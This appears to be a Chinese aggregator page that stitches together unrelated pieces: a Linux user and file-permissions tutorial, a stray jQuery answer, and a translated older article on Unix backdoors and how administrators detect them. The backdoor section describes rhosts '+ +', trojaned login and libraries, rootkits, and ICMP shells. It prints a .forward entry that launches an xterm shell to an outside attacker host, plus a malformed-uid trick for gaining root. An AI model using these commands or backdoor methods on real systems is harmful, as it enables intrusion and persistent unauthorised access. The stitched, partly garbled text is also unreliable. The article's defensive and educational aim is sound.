linux的文件管理权限分为读、写和执行
文件权限:
-rwxr-xr-x
共分为五个部分:
-:表示文件类型
rwx:用户属主的权限
r-x:用户属组的权限
r-x:其他用户的权限
:是否启用facl
权限:
r:readable,读
w:wirteable,写
x:excuteable,执行
权限对文件的作用:
r:可获取文件的数据;
W:可修改文件的数据;
x:可将此文件运行为进程;
权限对目录的作用:
r:可使用ls命令获取其下的所有文件列表;
w:可修改此目录下的文件列表;即创建或删除文件,包括子目录。
x:可cd至此目录中;且可使用ls -l来获取所有文件的详细属性信息;有关Linux命令详细介绍,可根据下图所示进行查询。
服务器控件的ID在解析成html的时候,会改变控件的ID(与其它控件嵌套使用的时候一定会改变ID),如果写成txtFOrgId在生成html页面的时候id发生了变化,获取不到控件的值,jquery执行就会产生问题。
<%=txtFOrgIdClientID %>就是一个占位符,表示这里被解析的时候是控件txtFOrgId在html页面中显示的id。
1、onclick="check(this)"
2、js代码中event是一个Object对象,要循环
for (element in event) {
alert(element); // 获取属性名
alert(eventelement); // 获取属性值
}
3、不知道你要取那个标签对象,你在循环的时候去做个判断,然后后面就顺了
var num=$("#stack-box input[type=number]")val();
改为
var num=$(this)parent()parent()find("input[type=number]")val();
一、 *** 作系统中的用户管理 相关配置文件解读
Linux用户在 *** 作系统可以进行日常管理和维护,涉及到的相关配置文件如下:
/etc/passwd 保存 *** 作系统中的所有用户信息
root : x : 0 : 0 : root : /root : /bin/bash
name:password:UID:GID:GECOS:directory:shell
用户名 :密码占位符 :uid :基本组的gid :用户信息记录字段:用户的家目录:用户登录系统后使用的命令解析器
————————————————
字段1:用户名
字段2:密码占位符
字段3:用户的UID 0 表示超级用户 , 500-60000 普通用户 , 1-499 程序用户
字段4:基本组的GID 先有组才有用户
字段5:用户信息记录字段
字段6:用户的家目录
字段7:用户登录系统后使用的命令解释器
————————————————
UID:0表示超级用户, 程序用户 (1-499),普通用户 (500以上60000以下),根据uid将用户分为以上三类用户。
/etc/shdaow 保存用户密码(以加密形式保存)
[root@xing /]# cat /etc/shadow
root : $Jw5XsDvvNBH5Xoq : 19180 : 0 : 99999 : 7 : : :
用户名:密码(加密后的字符串):最近一次的修改时间距离1970年1月1日的距离:密码的最短有效期:密码的最长有效期:密码过期前7天警告:密码的不活跃期:用户的失效时间: 保留字段
————————————————
字段1:用户名
字段2:用户的密码加密后的字符串(sha)
字段3:距离1970/1/1密码最近一次修改的时间
字段4:密码的最短有效期
字段5:密码的最长有效期(建议时间 90)
字段6:密码过期前7天警告
字段7:密码的不活跃期
字段8:用户的失效时间
字段9:保留字段
这个字段目前没有使用,等待新功能的加入。
————————————————
/etc/group 保存组信息
————————————————
root:x:0:
bin:x:1:bin,daemon
组名:组的密码占位符:gid:附加组成员
————————————————
/etc/logindefs 用户属性限制,密码过期时间,密码最大长度等限制
/etc/default/useradd 显示或更改默认的useradd配置文件
二、文件及目录权限
文件与权限: 即文件或者目录属于哪个用户,属于哪个组,不同的用户能对该文件进行何种 *** 作。
————————————————
注:
查看文件权限: ls -l 文件
查看目录权限 : ls -ld 目录
————————————————
[root@xing Desktop]# ls -l /root/Desktop/
total 70584
lrwxrwxrwx 1 root root 18 Jul 14 14:32 123txt -> /root/Desktop/ming
-rw-r--r-- (文件属性) 1 (链接个数: 表示指向它的链接文件的个数 ) root (所属者) root (所属组) 0(文件大小:单位byte) Jul 14 14:14(最后一次修改时间) 2txt(文件名)
drwx------(文件属性) 7 (目录中的子目录数: 此处看到的值要减2才等于该目录下的子目录的实际个数。 ) root (所属者) root (所属组) 4096 (文件大小:单位byte)Jul 13 16:56(最后一次修改时间) vmware-tools-distrib(目录名)
[root@xing Desktop]# ls -ld /root/Desktop/
drwxr-xr-x 3 root root 4096 Jul 14 14:44 /root/Desktop/
————————————————
文件属性解释:
- rw- r-- r--
d rwx r-x r-x
字段1:文件类型 - 普通文件 d目录 l符号链接 b块设备
字段2:文件所有者对该文件的权限
字段3:文件所属组的权限
字段4:其他用户的权限(既不是文件所有者也不是文件所属组的用户)
字段5:表示文件受 selinux 的程序管理
8进制赋权法: r 1004; w0102; x0011
————————————————
三、用户以及权限管理命令汇总:
————————————————
用户增删改命令
useradd
userdel
usermod
————————————————
用户组增删改命令
groupadd
groupdel
groupmod
————————————————
passwd
change
————————————————
文件权限修改: chmod命令
chmod 对象 算数运算符 权限 文件
[root@xing tmp]# ls -ld ming
drwxr-xr-x 2 root root 4096 Jul 16 10:27 ming
[root@xing tmp]# chmod o-x ming
[root@xing tmp]# ls -ld ming
drwxr-xr-- 2 root root 4096 Jul 16 10:27 ming
————————————————
文件所属者修改:
chown 用户 文件
[root@xing tmp]# chown ming ming
[root@xing tmp]# ls -ld ming
drwxr-xr-- 2 ming root 4096 Jul 16 10:27 ming
————————————————
文件所属组修改:
chgrp 组 文件
[root@xing tmp]# chgrp ming ming
[root@xing tmp]# ls -ld ming
drwxr-xr-- 2 ming ming 4096 Jul 16 10:27 ming
————————————————
8进制赋权法
[root@xing ~]# chmod 644 /tmp/ming
[root@xing ~]# ls -ld /tmp/ming
drw-r--r-- 2 ming ming 4096 Jul 16 10:27 /tmp/ming
————————————————
linux下命令“ll”是“ls -l"的别名。
————————————————
粘滞位:赋权后的文件 只有建立者可以删除
chmod o+t 文件
[root@xing ~]# chmod o+t /tmp/ming
[root@xing ~]# ll -d /tmp/ming
drw-r--r-T 2 ming ming 4096 Jul 16 10:27 /tmp/ming
————————————————
sgid : 赋权后的目录,新建立的文件或者子目录的所属组继承父目录的所属组
chmod g+s 目录
[root@xing ming]# chmod g+s /tmp/ming
[root@xing tmp]# ll
drw-r-Sr-T 2 ming ming 4096 Jul 16 11:29 ming
[root@xing ming]# touch 20txt
[root@xing ming]# ll
-rw-r--r-- 1 root ming 0 Jul 16 11:33 20txt
[root@xing ming]# mkdir 60
[root@xing ming]# ll
drwxr-sr-x 2 root ming 4096 Jul 16 11:34 60
————————————————
suid :允许谁运行该文件具有该文件所属者的权限
chmod u+s 文件
[root@xing Desktop]# ll /usr/bin/vim
-rwxr-xr-x 1 root root 2324712 Dec 22 2016 /usr/bin/vim
[root@xing Desktop]# chmod u+s /usr/bin/vim
[root@xing Desktop]# ll /usr/bin/vim
-rwsr-xr-x 1 root root 2324712 Dec 22 2016 /usr/bin/vim
备注:linux 红底白字代表警告!
————————————————
[root@xing Desktop]# echo $PATH
/usr/lib64/qt-33/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/root/bin
suid:4 sgid:2 粘滞位:1
[root@xing Desktop]# find /usr/bin -perm 4 755
/usr/bin/at
/usr/bin/chage
/usr/bin/pkexec
/usr/bin/Xorg
/usr/bin/crontab
/usr/bin/newgrp
/usr/bin/vim
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/ksu
————————————————
1、不再允许添加新用户的请求
chattr命令 :用于改变文件属性
chattr +i 文件
lsttr命令 :查看文件属性
lsattr 文件
[root@xing Desktop]# lsattr /etc/passwd /etc/shadow
-------------e- /etc/passwd
-------------e- /etc/shadow
[root@xing Desktop]# chattr +i /etc/passwd /etc/shadow
[root@xing Desktop]# lsattr /etc/passwd /etc/shadow
----i--------e- /etc/passwd
----i--------e- /etc/shadow
[root@xing Desktop]# useradd kk
useradd: cannot open /etc/passwd
2、umask
root用户的umask默认值是0022,一般用户默认是0002
目录的最高权限 0777-0022=0755
文件的最高权限 0666-0022=644
一般服务器配置umask的值配置为027最好;需要去修改两处文件中的umask值。
/etc/profile
/etc/bashrc
3、修改默认的密码最长有效期:修改以下配置文件
/etc/logindefs
==============================================================
ansible 主机信息(可以是组) -m 模块名称 -a "完成动作"
举例:
在ansible中 使用ansible-doc <模块名称> 来查看单独模块用法
常用参数
官方模块说明: > 分类: 电脑/网络 >> 反病毒 解析: 当一个训练有素的程序员设计一个功能较复杂的软件时,都习惯于先将整个软件分割为若干模块,然后再对各模块单独设计、调试,而后门则是一个模块的秘密入口。在程序开发期间,后门的存在是为了便于测试、更改和增强模块的功能。当然,程序员一般不会把后门记入软件的说明文档,因此用户通常无法了解后门的存在。 /按照正常 *** 作程序,在软件交付用户之前,程序员应该去掉软件模块中的后门,但是,由于程序员的疏忽,或者故意将其留在程序中以便日后可以对此程序进行隐蔽的访问,方便测试或维护已完成的程序等种种原因,实际上并未去掉。 这样,后门就可能被程序的作者所秘密使用,也可能被少数别有用心的人用穷举搜索法发现利用。 cachebaidu/cword=%CA%B2%C3%B4%3B%CA%C7%3B%BA%F3%C3%C5&url=%3A%2Exiaom%2E/Article%5Fshow%2Easp%3FArticleID%3D4777&b=0&a=29&user=baidu 什么是后门 从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门本文将讨论许多常见的后门及其检测方法 更多的焦点放在Unix系统的后门,同时讨论一些未来将会出现的Windows NT的后门 本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识 当管理员懂的一旦入侵者入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵 本文试图涉及大量流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法 大多数入侵者的后门实现以下二到三个目的: 即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入 使再次侵入被发现的可能性减至最低大多数后门设法躲过日志, 大多数情况下即使入侵者正在使用系统也无法显示他已在线 一些情况下, 如果入侵者认为管理员可能会检测到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器 这也不会引起管理员的注意 所以在 这样的情况下,一台机器的脆弱性是它唯一未被注意的后门 密码破解后门 这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可以通过破解密码制造后门 这就是破解口令薄弱的帐号 以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门 多数情况下, 入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些 当管理员寻找口令薄弱的帐号是, 也不会发现这些密码已修改的帐号因而管理员很难确定查封哪个帐号 Rhosts + + 后门 在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法 用户可以轻易的改变设置而不需口令就能进入 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号 特别当home目录通过NFS向外共享时, 入侵者更热中于此 这些帐号也成了入侵者再次侵入的后门 许多人更喜欢使用Rsh, 因为它通常缺少日志能力 许多管 理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现 校验和及时间戳后门 早期,许多入侵者用自己的trojan程序替代二进制文件 系统管理员便依时间戳和系统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序 入侵者又发展了使trojan文件和原文件时间戳同步的新技术 它是这样实现的: 先将系统时钟拨回到原文件时间, 然后调整trojan文件的时间为系统时间 一旦二进制trojan文件与原来的精确同步, 就可以把系统时间设回当前时间 sum程序是基于CRC校验, 很容易 骗过入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序 MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过 Login后门 在Unix里,login程序通常用来对tel来的用户进行口令验证 入侵者获取loginc的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入 这将允许入侵者进入任何帐号,甚至是root由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号 管理员注意到这种后门后, 便 用"strings"命令搜索login程序以寻找文本信息 许多情况下后门口令会原形毕露入侵者就开始加密或者更好的隐藏口令, 使strings命令失效 所以更多的管理员是用MD5校验和检测这种后门的 Teld后门 当用户tel到系统, 监听端口的id服务接受连接随后递给inteld,由它运行login一些入侵者知道管理员会检查login是否被修改, 就着手修改inteld在inteld内部有一些对用户信息的检验, 比如用户使用了何种终端 典型的终端设置是Xterm或者VT100入侵者可以做这样的后门, 当终端设置为"letmein"时产生一个不要任何验证的shell 入侵者已对某些服务作了后门, 对来自特定源端口的连接产 生一个shell 服务后门 几乎所有网络服务曾被入侵者作过后门 finger, rsh, rexec, rlogin, ftp, 甚至id等等的作了的版本随处多是 有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问这些程序有时用刺娲□?ucp这样不用的服务,或者被加入idconf作为一个新的服务管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做校验 Cronjob后门 Unix上的Cronjob可以按时间表调度特定程序的运行 入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问 也可以查看cronjob中经常运行的合法程序,同时置入后门 库后门 几乎所有的UNIX系统使用共享库 共享库用于相同函数的重用而减少代码长度 一些入侵者在象cryptc和_cryptc这些函数里作了后门 象loginc这样的程序调用了crypt(),当使用后门口令时产生一个shell 因此, 即使管理员用MD5检查login程序,仍然能产生一个后门函数而且许多管理员并不会检查库是否被做了后门对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验 有一种办法是入侵者对open()和文件访问函数做后门 后门函数读原文件但执行trojan后门程序 所以 当MD5读这些文件时,校验和一切正常 但当系统运行时将执行trojan版本的 即使trojan库本身也可躲过MD5校验 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行静态连接程序不会使用trojan共享库 内核后门 内核是Unix工作的核心 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广 文件系统后门 入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现 入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区 因此入侵者只能用特别的工具访问这些隐藏的文件 对于普通的 管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在 Boot块后门 在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变 Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区 隐匿进程后门 入侵者通常想隐匿他们运行的程序 这样的程序一般是口令破解程序和监听程序 (sniffer)有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名 可以将sniffer程序改名类似insyslog再执行 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名 可以修改库函数致使 "ps"不能显示所有进程 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现 使用这个技术的一个后门例子是amodtargz : starniimmspbsu/~maillist/bugtraq1/0777 也可以修改内核隐匿进程 Rootkit 最流行的后门安装包之一是rootkit 它很容易用web搜索器找到从Rootkit的README里,可以找到一些典型的文件: z2 - removes entries from utmp, wtmp, and lastlog Es - rokstar's ether sniffer for sun4 based kernels Fix - try to fake checksums, install with same dates/perms/u/g Sl - bee root via a magic password sent to login Ic - modified ifconfig to remove PROMISC flag from output ps: - hides the processes Ns - modified stat to hide connections to certain machines Ls - hides certain directories and files from being listed du5 - hides how much space is being used on your hard drive ls5 - hides certain files and directories from being listed 网络通行后门 入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行 这些网络通行后门有时允许入侵者通过防火墙进行访问 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文 TCP Shell 后门 入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问 管理员可以用stat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉 通常这些后门可以让入侵者躲过TCP Wrapper技术 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的 UDP Shell 后门 管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以stat不能显示入侵者的访问痕迹 许多防火墙设置成允许类似DNS的UDP报文的通行 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙 ICMP Shell 后门 Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一 许多防火墙允许外界ping它内部的机器 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露 加密连接 管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了 Windows NT 由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击 因此你将更频繁地看到广泛的来自Unix的网络攻击 当Windows NT提高多用户技术后, 入侵者将更频繁地利用 WindowsNT如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理员可以等候入侵者的到来 今天, Windows NT已经有了tel守护程序 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的 ( With Neork Traffic backdoors, theyarevery feasible for intruders to install on Windows NT 此处该如何翻译 :( 解决 当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀 评估 首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之许多商业工具用来帮助扫描和查核网络及系统的漏洞 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性 MD5基准线 一个系统(安全)扫描的一个重要因素是MD5校验和基准线 MD5基准线是在黑客入侵前由干净系统建立 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了一些公司被入侵且系统被安置后门长达几个月所有的系统备份多包含了后门 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门 应该在入侵发生前作好基准线的建立 入侵检测 随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要以前多数入侵检测技术是基于日志型的 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协议请求 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话 从CD-ROM启动 一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性这种方法的问题是实现的费用和时间够企业面临的 警告 由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的请记住没有简单的防御,只有不懈的努力! ( Be aware that no defense is foolproof, and that there is no substitute for diligent attention 此句该如何翻译 :( ) ------------------------------------------------------------------------- you may want to add: forward Backdoor On Unix machines, placing mands into the forward file was also a mon method of regaining access For the account ``username'' a forward file might be constructed as follows: \username |"/usr/local/X11/bin/xterm -disp hacksysotherdom:00 -e /bin/sh" permutations of this method include alteration of the systems mail aliases file (most monly located at /etc/aliases) Note that this is a simple permutation, the more advanced can run a simple script from the forward file that can take arbitrary mands via stdin (after minor preprocessing) PS: The above method is also useful gaining access a panies mailhub (assuming there is a shared a home directory FS on &nbs> the client and server) > Using rsh can effectively negate this backdoor (although it's quite > possibly still a problem if you allow things like elm's filter or > procmail which can run programs themselves) 你也许要增加: forward后门 Unix下在forward文件里放入命令是重新获得访问的常用方法 帐户'username'的forward可能设置如下: \username |"/usr/local/X11/bin/xterm -disp hacksysotherdom:00 -e/bin/sh" 这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases) 注意这只是一种简单的变换 更为高级的能够从forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后)>利用 rsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或 procmail>类程序, 很有可能还有问题 ) ( 此段的内容理解不深, 故付上英文, 请指教! ) --------------------------------------------------------------------------- 你也许能用这个"特性"做后门: 当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查出这个错误的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利 例子: rmartin:x:x50:50:R Martin:/home/rmartin:/bin/tcsh 以上就是关于linux的普通用户都什么权限全部的内容,包括:linux的普通用户都什么权限、asp.net中jquery问题!、onclick事件,无法获取js事件源对象,财富不多,希望高手帮忙看看,给些建议,谢谢~等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力! 欢迎分享,转载请注明来源:内存溢出
评论列表(0条)